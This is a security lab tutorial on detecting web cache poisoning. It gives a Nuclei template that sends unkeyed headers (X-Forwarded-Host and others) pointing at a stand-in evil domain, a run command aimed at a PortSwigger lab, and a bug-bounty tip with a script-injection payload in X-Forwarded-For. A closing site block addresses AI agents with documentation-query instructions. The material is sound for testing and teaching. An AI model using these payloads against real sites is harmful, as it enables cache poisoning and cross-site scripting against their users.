# Cache Poisoning using Nuclei

## HTTP Headers

In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.

To do this, we need to use common unkeyed inputs headers such as:

```
X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com
```

In detail, to trigger cache poisoning vulnerabilities we need two requests:

* The first that causes the server to cache the poisoned response
* The second will retrieve the poisoned response from the server-side.

## Building the Nuclei template

To carry out this scenario, we can build our nuclei template as presented below.

```yaml
id: cache-poisoning    

info:
  name: HTTP Cache Poisoning
  author: sirpedrotavares / seguranca-informatica.pt
  severity: medium

requests:
  - raw:
      - |
        GET /?evil=007 HTTP/1.1
        X-Forwarded-Prefix: cache.my.evil.dns.com
        X-Forwarded-Host: cache.my.evil.dns.com
        X-Forwarded-For: cache.my.evil.dns.com
        X-Originating-IP: cache.my.evil.dns.com
        X-Remote-IP: cache.my.evil.dns.com
        X-Remote-Addr: cache.my.evil.dns.com
        X-Client-IP: cache.my.evil.dns.com

      - |
        GET /?evil=007 HTTP/1.1

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "cache.my.evil.dns.com") == true'
```

We can test this template using the PortSwigger Lab [**here**](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header)**.**

```yaml
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
```

And yeah, we got it :sunglasses:&#x20;

![](/files/-MXqLicOAdx-IYnTI_Fv)

## Bug Bounty tip

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use [**bbscope**](https://github.com/sw33tLie/bbscope) tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).

```yaml
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
```

## References

{% embed url="<https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning>" %}

{% embed url="<https://galnagli.com/Cache_Poisoning/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/fuzzing-and-web/cache-poisoning-using-nuclei.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
